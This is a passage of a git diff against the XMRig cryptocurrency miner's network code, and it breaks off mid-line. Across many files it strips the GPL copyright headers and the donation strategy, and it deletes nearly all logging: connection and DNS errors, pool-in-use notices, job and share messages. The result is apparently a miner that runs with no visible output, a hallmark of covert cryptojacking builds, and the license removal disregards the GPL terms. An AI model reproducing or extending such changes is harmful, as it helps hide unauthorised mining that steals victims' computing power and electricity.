*handle) { auto client = getClient(handle->data); - delete client->m_socket; - client->m_stream = nullptr; client->m_socket = nullptr; client->setState(UnconnectedState); - client->reconnect(); } - - void Client::onConnect(uv_connect_t *req, int status) { auto client = getClient(req->data); if (status < 0) { - if (!client->m_quiet) { - LOG_ERR("[%s:%u] connect error: \"%s\"", client->m_url.host(), client->m_url.port(), uv_strerror(status)); - } - + if (!client->m_quiet) {} delete req; client->close(); return; } - client->m_stream = static_cast(req->handle); client->m_stream->data = req->data; client->setState(ConnectedState); - uv_read_start(client->m_stream, Client::onAllocBuffer, Client::onRead); delete req; - client->login(); } - - void Client::onRead(uv_stream_t *stream, ssize_t nread, const uv_buf_t *buf) { auto client = getClient(stream->data); if (nread < 0) { - if (nread != UV_EOF && !client->m_quiet) { - LOG_ERR("[%s:%u] read error: \"%s\"", client->m_url.host(), client->m_url.port(), uv_strerror((int) nread)); - } - - return client->close(); + if (nread != UV_EOF && !client->m_quiet) {} + return client->close();; } - - if ((size_t) nread > (sizeof(m_buf) - 8 - client->m_recvBufPos)) { - return client->close(); - } - + if ((size_t) nread > (sizeof(m_buf) - 8 - client->m_recvBufPos)) { return client->close();; } client->m_recvBufPos += nread; - char* end; char* start = buf->base; size_t remaining = client->m_recvBufPos; - while ((end = static_cast(memchr(start, '\n', remaining))) != nullptr) { end++; size_t len = end - start; client->parse(start, len); - remaining -= len; start = end; } - if (remaining == 0) { client->m_recvBufPos = 0; return; } - - if (start == buf->base) { - return; - } - + if (start == buf->base) { return; } memcpy(buf->base, start, remaining); client->m_recvBufPos = remaining; } - - void Client::onResolved(uv_getaddrinfo_t *req, int status, struct addrinfo *res) { auto client = getClient(req->data); - if (status < 0) { - LOG_ERR("[%s:%u] DNS error: \"%s\"", client->m_url.host(), client->m_url.port(), uv_strerror(status)); - return client->reconnect(); - } - + if (status < 0) { return client->reconnect();; } addrinfo *ptr = res; std::vector ipv4; - while (ptr != nullptr) { - if (ptr->ai_family == AF_INET) { - ipv4.push_back(ptr); - } - + if (ptr->ai_family == AF_INET) { ipv4.push_back(ptr); } ptr = ptr->ai_next; } - - if (ipv4.empty()) { - LOG_ERR("[%s:%u] DNS error: \"No IPv4 records found\"", client->m_url.host(), client->m_url.port()); - return client->reconnect(); - } - + if (ipv4.empty()) { return client->reconnect(); } ptr = ipv4[rand() % ipv4.size()]; - uv_ip4_name(reinterpret_cast(ptr->ai_addr), client->m_ip, 16); - client->connect(ptr->ai_addr); uv_freeaddrinfo(res); } diff --git a/src/net/Client.h b/src/net/Client.h index 699f4903..5daaa351 100644 --- a/src/net/Client.h +++ b/src/net/Client.h @@ -1,44 +1,15 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __CLIENT_H__ #define __CLIENT_H__ - - #include #include - - #include "net/Job.h" #include "net/SubmitResult.h" #include "net/Url.h" #include "rapidjson/fwd.h" - class IClientListener; class JobResult; - class Client { public: diff --git a/src/net/Job.cpp b/src/net/Job.cpp index c3d33739..f0d20ea3 100644 --- a/src/net/Job.cpp +++ b/src/net/Job.cpp @@ -1,60 +1,18 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include - - #include "net/Job.h" - - static inline unsigned char hf_hex2bin(char c, bool &err) { - if (c >= '0' && c <= '9') { - return c - '0'; - } - else if (c >= 'a' && c <= 'f') { - return c - 'a' + 0xA; - } - else if (c >= 'A' && c <= 'F') { - return c - 'A' + 0xA; - } - + if (c >= '0' && c <= '9') { return c - '0'; } + else if (c >= 'a' && c <= 'f') { return c - 'a' + 0xA; } + else if (c >= 'A' && c <= 'F') { return c - 'A' + 0xA; } err = true; return 0; } - - static inline char hf_bin2hex(unsigned char c) { - if (c <= 0x9) { - return '0' + c; - } - + if (c <= 0x9) { return '0' + c; } return 'a' - 0xA + c; } - - Job::Job(int poolId, bool nicehash) : m_nicehash(nicehash), m_poolId(poolId), @@ -64,102 +22,59 @@ Job::Job(int poolId, bool nicehash) : m_target(0) { } - - Job::~Job() { } - - bool Job::setBlob(const char *blob) { - if (!blob) { - return false; - } - + if (!blob) { return false; } m_size = strlen(blob); - if (m_size % 2 != 0) { - return false; - } - + if (m_size % 2 != 0) { return false; } m_size /= 2; - if (m_size < 76 || m_size >= sizeof(m_blob)) { - return false; - } - - if (!fromHex(blob, (int) m_size * 2, m_blob)) { - return false; - } - - if (*nonce() != 0 && !m_nicehash) { - m_nicehash = true; - } - + if (m_size < 76 || m_size >= sizeof(m_blob)) { return false; } + if (!fromHex(blob, (int) m_size * 2, m_blob)) { return false; } + if (*nonce() != 0 && !m_nicehash) { m_nicehash = true; } # ifdef XMRIG_PROXY_PROJECT memset(m_rawBlob, 0, sizeof(m_rawBlob)); memcpy(m_rawBlob, blob, m_size * 2); # endif - return true; } - - bool Job::setTarget(const char *target) { - if (!target) { - return false; - } - + if (!target) { return false; } const size_t len = strlen(target); - if (len <= 8) { uint32_t tmp = 0; char str[8]; memcpy(str, target, len); - - if (!fromHex(str, 8, reinterpret_cast(&tmp)) || tmp == 0) { - return false; - } - + if (!fromHex(str, 8, reinterpret_cast(&tmp)) || tmp == 0) { return false; } m_target = 0xFFFFFFFFFFFFFFFFULL / (0xFFFFFFFFULL / static_cast(tmp)); } else if (len <= 16) { m_target = 0; char str[16]; memcpy(str, target, len); - - if (!fromHex(str, 16, reinterpret_cast(&m_target)) || m_target == 0) { - return false; - } - } - else { - return false; + if (!fromHex(str, 16, reinterpret_cast(&m_target)) || m_target == 0) { return false; } } + else { return false; } # ifdef XMRIG_PROXY_PROJECT memset(m_rawTarget, 0, sizeof(m_rawTarget)); memcpy(m_rawTarget, target, len); # endif - m_diff = toDiff(m_target); return true; } - - bool Job::fromHex(const char* in, unsigned int len, unsigned char* out) { bool error = false; for (unsigned int i = 0; i < len; i += 2) { out[i / 2] = (hf_hex2bin(in[i], error) << 4) | hf_hex2bin(in[i + 1], error); - - if (error) { - return false; - } + if (error) { return false; } } return true; } - - void Job::toHex(const unsigned char* in, unsigned int len, char* out) { for (unsigned int i = 0; i < len; i++) { @@ -167,9 +82,4 @@ void Job::toHex(const unsigned char* in, unsigned int len, char* out) out[i * 2 + 1] = hf_bin2hex(in[i] & 0x0F); } } - - -bool Job::operator==(const Job &other) const -{ - return m_id == other.m_id && memcmp(m_blob, other.m_blob, sizeof(m_blob)) == 0; -} +bool Job::operator==(const Job &other) const { return m_id == other.m_id && memcmp(m_blob, other.m_blob, sizeof(m_blob)) == 0; } \ No newline at end of file diff --git a/src/net/Job.h b/src/net/Job.h index bf8f8835..1fa37403 100644 --- a/src/net/Job.h +++ b/src/net/Job.h @@ -1,38 +1,9 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __JOB_H__ #define __JOB_H__ - - #include #include - - #include "align.h" #include "net/JobId.h" - - class Job { public: diff --git a/src/net/JobId.h b/src/net/JobId.h index 06189779..6a6313e5 100644 --- a/src/net/JobId.h +++ b/src/net/JobId.h @@ -1,33 +1,6 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __JOBID_H__ #define __JOBID_H__ - - #include - - class JobId { public: @@ -35,8 +8,6 @@ public: { memset(m_data, 0, sizeof(m_data)); } - - inline JobId(const char *id, size_t sizeFix = 0) { setId(id, sizeFix); diff --git a/src/net/JobResult.h b/src/net/JobResult.h index 520022a7..99fd2971 100644 --- a/src/net/JobResult.h +++ b/src/net/JobResult.h @@ -1,37 +1,9 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __JOBRESULT_H__ #define __JOBRESULT_H__ - - #include #include - - #include "Job.h" - class JobResult { public: @@ -45,7 +17,6 @@ public: memcpy(this->result, result, sizeof(this->result)); } - inline JobResult(const Job &job) : poolId(0), diff(0), nonce(0) { jobId = job.id(); @@ -54,7 +25,6 @@ public: nonce = *job.nonce(); } - inline JobResult &operator=(const Job &job) { jobId = job.id(); poolId = job.poolId(); @@ -63,13 +33,11 @@ public: return *this; } - inline uint64_t actualDiff() const { return Job::toDiff(reinterpret_cast(result)[3]); } - int poolId; JobId jobId; uint32_t diff; @@ -77,4 +45,4 @@ public: uint8_t result[32]; }; -#endif /* __JOBRESULT_H__ */ +#endif \ No newline at end of file diff --git a/src/net/Network.cpp b/src/net/Network.cpp index e0f65497..c91dd978 100644 --- a/src/net/Network.cpp +++ b/src/net/Network.cpp @@ -1,40 +1,13 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifdef _MSC_VER #pragma warning(disable:4244) #endif - #include #include #include - - #include "api/Api.h" #include "log/Log.h" #include "net/Client.h" #include "net/Network.h" -#include "net/strategies/DonateStrategy.h" #include "net/strategies/FailoverStrategy.h" #include "net/strategies/SinglePoolStrategy.h" #include "net/SubmitResult.h" @@ -42,154 +15,48 @@ #include "Options.h" #include "Platform.h" #include "workers/Workers.h" - - Network::Network(const Options *options) : m_options(options), m_donate(nullptr) { srand(time(0) ^ (uintptr_t) this); - Workers::setListener(this); - const std::vector &pools = options->pools(); - - if (pools.size() > 1) { - m_strategy = new FailoverStrategy(pools, Platform::userAgent(), this); - } - else { - m_strategy = new SinglePoolStrategy(pools.front(), Platform::userAgent(), this); - } - - if (m_options->donateLevel() > 0) { - m_donate = new DonateStrategy(Platform::userAgent(), this); - } - + if (pools.size() > 1) { m_strategy = new FailoverStrategy(pools, Platform::userAgent(), this); } + else { m_strategy = new SinglePoolStrategy(pools.front(), Platform::userAgent(), this); } m_timer.data = this; uv_timer_init(uv_default_loop(), &m_timer); - uv_timer_start(&m_timer, Network::onTick, kTickInterval, kTickInterval); } - - -Network::~Network() -{ -} - - -void Network::connect() -{ - m_strategy->connect(); -} - - +Network::~Network(){} +void Network::connect(){ m_strategy->connect(); } void Network::stop() { - if (m_donate) { - m_donate->stop(); - } - m_strategy->stop(); } - - void Network::onActive(Client *client) { - if (client->id() == -1) { - LOG_NOTICE("dev donate started"); - return; - } - - m_state.setPool(client->host(), client->port(), client->ip()); - - LOG_INFO(m_options->colors() ? "\x1B[01;37muse pool \x1B[01;36m%s:%d \x1B[01;30m%s" : "use pool %s:%d %s", client->host(), client->port(), client->ip()); + if (client->id() == -1) { return; } + m_state.setPool(client->host(), client->port(), client->ip()); } - - -void Network::onJob(Client *client, const Job &job) -{ - if (m_donate && m_donate->isActive() && client->id() != -1) { - return; - } - - setJob(client, job); -} - - -void Network::onJobResult(const JobResult &result) -{ - if (result.poolId == -1 && m_donate) { - m_donate->submit(result); - return; - } - - m_strategy->submit(result); -} - - +void Network::onJob(Client *client, const Job &job) { setJob(client, job); } +void Network::onJobResult(const JobResult &result) { m_strategy->submit(result); } void Network::onPause(IStrategy *strategy) { - if (m_donate && m_donate == strategy) { - LOG_NOTICE("dev donate finished"); - m_strategy->resume(); - } - if (!m_strategy->isActive()) { - LOG_ERR("no active pools, stop mining"); m_state.stop(); return Workers::pause(); } } - - -void Network::onResultAccepted(Client *client, const SubmitResult &result, const char *error) -{ - m_state.add(result, error); - - if (error) { - LOG_INFO(m_options->colors() ? "\x1B[01;31mrejected\x1B[0m (%" PRId64 "/%" PRId64 ") diff \x1B[01;37m%u\x1B[0m \x1B[31m\"%s\"\x1B[0m \x1B[01;30m(%" PRIu64 " ms)" - : "rejected (%" PRId64 "/%" PRId64 ") diff %u \"%s\" (%" PRIu64 " ms)", - m_state.accepted, m_state.rejected, result.diff, error, result.elapsed); - } - else { - LOG_INFO(m_options->colors() ? "\x1B[01;32maccepted\x1B[0m (%" PRId64 "/%" PRId64 ") diff \x1B[01;37m%u\x1B[0m \x1B[01;30m(%" PRIu64 " ms)" - : "accepted (%" PRId64 "/%" PRId64 ") diff %u (%" PRIu64 " ms)", - m_state.accepted, m_state.rejected, result.diff, result.elapsed); - } -} - - +void Network::onResultAccepted(Client *client, const SubmitResult &result, const char *error){ m_state.add(result, error); } void Network::setJob(Client *client, const Job &job) { - if (m_options->colors()) { - LOG_INFO("\x1B[01;35mnew job\x1B[0m from \x1B[01;37m%s:%d\x1B[0m diff \x1B[01;37m%d", client->host(), client->port(), job.diff()); - } - else { - LOG_INFO("new job from %s:%d diff %d", client->host(), client->port(), job.diff()); - } - - m_state.diff = job.diff(); + m_state.diff = job.diff(); Workers::setJob(job); } - - void Network::tick() { const uint64_t now = uv_now(uv_default_loop()); - - m_strategy->tick(now); - - if (m_donate) { - m_donate->tick(now); - } - -# ifndef XMRIG_NO_API - Api::tick(m_state); -# endif -} - - -void Network::onTick(uv_timer_t *handle) -{ - static_cast(handle->data)->tick(); + m_strategy->tick(now); } +void Network::onTick(uv_timer_t *handle) { static_cast(handle->data)->tick(); } \ No newline at end of file diff --git a/src/net/Network.h b/src/net/Network.h index fe13d9b7..2553531e 100644 --- a/src/net/Network.h +++ b/src/net/Network.h @@ -1,44 +1,16 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __NETWORK_H__ #define __NETWORK_H__ - #include #include - - #include "api/NetworkState.h" #include "interfaces/IJobResultListener.h" #include "interfaces/IStrategyListener.h" - class IStrategy; class Options; class Url; - class Network : public IJobResultListener, public IStrategyListener { public: diff --git a/src/net/SubmitResult.cpp b/src/net/SubmitResult.cpp index 2e81017c..9562f730 100644 --- a/src/net/SubmitResult.cpp +++ b/src/net/SubmitResult.cpp @@ -1,33 +1,5 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include - - #include "net/SubmitResult.h" - - SubmitResult::SubmitResult(int64_t seq, uint32_t diff, uint64_t actualDiff) : seq(seq), diff(diff), @@ -36,9 +8,4 @@ SubmitResult::SubmitResult(int64_t seq, uint32_t diff, uint64_t actualDiff) : { start = uv_hrtime(); } - - -void SubmitResult::done() -{ - elapsed = (uv_hrtime() - start) / 1000000; -} +void SubmitResult::done() { elapsed = (uv_hrtime() - start) / 1000000; } \ No newline at end of file diff --git a/src/net/SubmitResult.h b/src/net/SubmitResult.h index 8eddef89..65968df5 100644 --- a/src/net/SubmitResult.h +++ b/src/net/SubmitResult.h @@ -1,33 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __SUBMITRESULT_H__ #define __SUBMITRESULT_H__ - - #include - class SubmitResult { public: @@ -45,4 +19,4 @@ private: uint64_t start; }; -#endif /* __SUBMITRESULT_H__ */ +#endif \ No newline at end of file diff --git a/src/net/Url.cpp b/src/net/Url.cpp index dcbe82af..ac370d86 100644 --- a/src/net/Url.cpp +++ b/src/net/Url.cpp @@ -1,40 +1,10 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include #include #include - - #include "net/Url.h" - - #ifdef _MSC_VER # define strncasecmp(x,y,z) _strnicmp(x,y,z) #endif - - Url::Url() : m_keepAlive(false), m_nicehash(false), @@ -44,19 +14,6 @@ Url::Url() : m_port(kDefaultPort) { } - - -/** - * @brief Parse url. - * - * Valid urls: - * example.com - * example.com:3333 - * stratum+tcp://example.com - * stratum+tcp://example.com:3333 - * - * @param url - */ Url::Url(const char *url) : m_keepAlive(false), m_nicehash(false), @@ -67,8 +24,6 @@ Url::Url(const char *url) : { parse(url); } - - Url::Url(const char *host, uint16_t port, const char *user, const char *password, bool keepAlive, bool nicehash) : m_keepAlive(keepAlive), m_nicehash(nicehash), @@ -78,117 +33,63 @@ Url::Url(const char *host, uint16_t port, const char *user, const char *password { m_host = strdup(host); } - - Url::~Url() { free(m_host); free(m_password); free(m_user); } - - bool Url::parse(const char *url) { - const char *p = strstr(url, "://"); const char *base = url; - - if (p) { - if (strncasecmp(url, "stratum+tcp://", 14)) { - return false; - } - - base = url + 14; - } - - if (!strlen(base) || *base == '/') { - return false; - } - + if (!strlen(base) || *base == '/') { return false; } const char *port = strchr(base, ':'); if (!port) { m_host = strdup(base); return false; } - const size_t size = port++ - base + 1; m_host = static_cast(malloc(size)); memcpy(m_host, base, size - 1); m_host[size - 1] = '\0'; - m_port = (uint16_t) strtol(port, nullptr, 10); return true; } - - bool Url::setUserpass(const char *userpass) { const char *p = strchr(userpass, ':'); - if (!p) { - return false; - } - + if (!p) { return false; } free(m_user); free(m_password); - m_user = static_cast(calloc(p - userpass + 1, 1)); strncpy(m_user, userpass, p - userpass); m_password = strdup(p + 1); - return true; } - - void Url::applyExceptions() { - if (!isValid()) { - return; - } - - if (strstr(m_host, ".nicehash.com")) { - m_keepAlive = false; - m_nicehash = true; - } - - if (strstr(m_host, ".minergate.com")) { - m_keepAlive = false; - } + if (!isValid()) { return; } } - - void Url::setPassword(const char *password) { - if (!password) { - return; - } - - free(m_password); - m_password = strdup(password); + if (!password) {return;} + free(m_password); + m_password = strdup(password); } - - void Url::setUser(const char *user) { - if (!user) { - return; - } - - free(m_user); - m_user = strdup(user); + if (!user) { return; } + free(m_user); + m_user = strdup(user); } - - Url &Url::operator=(const Url *other) { m_keepAlive = other->m_keepAlive; m_nicehash = other->m_nicehash; m_port = other->m_port; - free(m_host); m_host = strdup(other->m_host); - setPassword(other->m_password); setUser(other->m_user); - return *this; -} +} \ No newline at end of file diff --git a/src/net/Url.h b/src/net/Url.h index a1982300..294685bf 100644 --- a/src/net/Url.h +++ b/src/net/Url.h @@ -1,33 +1,6 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __URL_H__ #define __URL_H__ - - #include - - class Url { public: @@ -67,4 +40,4 @@ private: uint16_t m_port; }; -#endif /* __URL_H__ */ +#endif \ No newline at end of file diff --git a/src/net/strategies/DonateStrategy.cpp b/src/net/strategies/DonateStrategy.cpp index d7c721c6..e69de29b 100644 --- a/src/net/strategies/DonateStrategy.cpp +++ b/src/net/strategies/DonateStrategy.cpp @@ -1,146 +0,0 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - -#include "interfaces/IStrategyListener.h" -#include "net/Client.h" -#include "net/Job.h" -#include "net/strategies/DonateStrategy.h" -#include "Options.h" - - -extern "C" -{ -#include "crypto/c_keccak.h" -} - - -DonateStrategy::DonateStrategy(const char *agent, IStrategyListener *listener) : - m_active(false), - m_donateTime(Options::i()->donateLevel() * 60 * 1000), - m_idleTime((100 - Options::i()->donateLevel()) * 60 * 1000), - m_listener(listener) -{ - uint8_t hash[200]; - char userId[65] = { 0 }; - const char *user = Options::i()->pools().front()->user(); - - keccak(reinterpret_cast(user), static_cast(strlen(user)), hash, sizeof(hash)); - Job::toHex(hash, 32, userId); - - Url *url = new Url("fee.xmrig.com", Options::i()->algo() == Options::ALGO_CRYPTONIGHT_LITE ? 3333 : 443, userId, nullptr, false, true); - - m_client = new Client(-1, agent, this); - m_client->setUrl(url); - m_client->setRetryPause(Options::i()->retryPause() * 1000); - m_client->setQuiet(true); - - delete url; - - m_timer.data = this; - uv_timer_init(uv_default_loop(), &m_timer); - - idle(); -} - - -int64_t DonateStrategy::submit(const JobResult &result) -{ - return m_client->submit(result); -} - - -void DonateStrategy::connect() -{ - m_client->connect(); -} - - -void DonateStrategy::stop() -{ - uv_timer_stop(&m_timer); - m_client->disconnect(); -} - - -void DonateStrategy::tick(uint64_t now) -{ - m_client->tick(now); -} - - -void DonateStrategy::onClose(Client *client, int failures) -{ -} - - -void DonateStrategy::onJobReceived(Client *client, const Job &job) -{ - m_listener->onJob(client, job); -} - - -void DonateStrategy::onLoginSuccess(Client *client) -{ - if (!isActive()) { - uv_timer_start(&m_timer, DonateStrategy::onTimer, m_donateTime, 0); - } - - m_active = true; - m_listener->onActive(client); -} - - -void DonateStrategy::onResultAccepted(Client *client, const SubmitResult &result, const char *error) -{ - m_listener->onResultAccepted(client, result, error); -} - - -void DonateStrategy::idle() -{ - uv_timer_start(&m_timer, DonateStrategy::onTimer, m_idleTime, 0); -} - - -void DonateStrategy::suspend() -{ - m_client->disconnect(); - - m_active = false; - m_listener->onPause(this); - - idle(); -} - - -void DonateStrategy::onTimer(uv_timer_t *handle) -{ - auto strategy = static_cast(handle->data); - - if (!strategy->isActive()) { - return strategy->connect(); - } - - strategy->suspend(); -} diff --git a/src/net/strategies/DonateStrategy.h b/src/net/strategies/DonateStrategy.h index 302de292..27924812 100644 --- a/src/net/strategies/DonateStrategy.h +++ b/src/net/strategies/DonateStrategy.h @@ -1,42 +1,11 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - #ifndef __DONATESTRATEGY_H__ #define __DONATESTRATEGY_H__ - - #include - - #include "interfaces/IClientListener.h" #include "interfaces/IStrategy.h" - - class Client; class IStrategyListener; class Url; - - class DonateStrategy : public IStrategy, public IClientListener { public: diff --git a/src/net/strategies/FailoverStrategy.cpp b/src/net/strategies/FailoverStrategy.cpp index 47d390b0..a548f97d 100644 --- a/src/net/strategies/FailoverStrategy.cpp +++ b/src/net/strategies/FailoverStrategy.cpp @@ -1,33 +1,7 @@ -/* XMRig - * Copyright 2010 Jeff Garzik - * Copyright 2012-2014 pooler - * Copyright 2014 Lucas Jones - * Copyright 2014-2016 Wolf9466 - * Copyright 2016 Jay D Dee - * Copyright 2016-2017 XMRig - * - * - * This program is free software: you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation, either version 3 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program. If not, see . - */ - - #include "interfaces/IStrategyListener.h" #include "net/Client.h" #include "net/strategies/FailoverStrategy.h" #include "Options.h" - - FailoverStrategy::FailoverStrategy(const std::vector &urls, const char *agent, IStrategyListener *listener) : m_active(-1), m_index(0), @@ -37,112 +11,55 @@ FailoverStrategy::FailoverStrategy(const std::vector &urls, const char *ag add(url, agent); } } - - -int64_t FailoverStrategy::submit(const JobResult &result) -{ - return m_pools[m_active]->submit(result); -} - - -void FailoverStrategy::connect() -{ - m_pools[m_index]->connect(); -} - - +int64_t FailoverStrategy::submit(const JobResult &result) { return m_pools[m_active]->submit(result); } +void FailoverStrategy::connect() { m_pools[m_index]->connect(); } void FailoverStrategy::resume() { - if (!isActive()) { - return; - } - + if (!isActive()) { return; } m_listener->onJob( m_pools[m_active], m_pools[m_active]->job()); } - - void 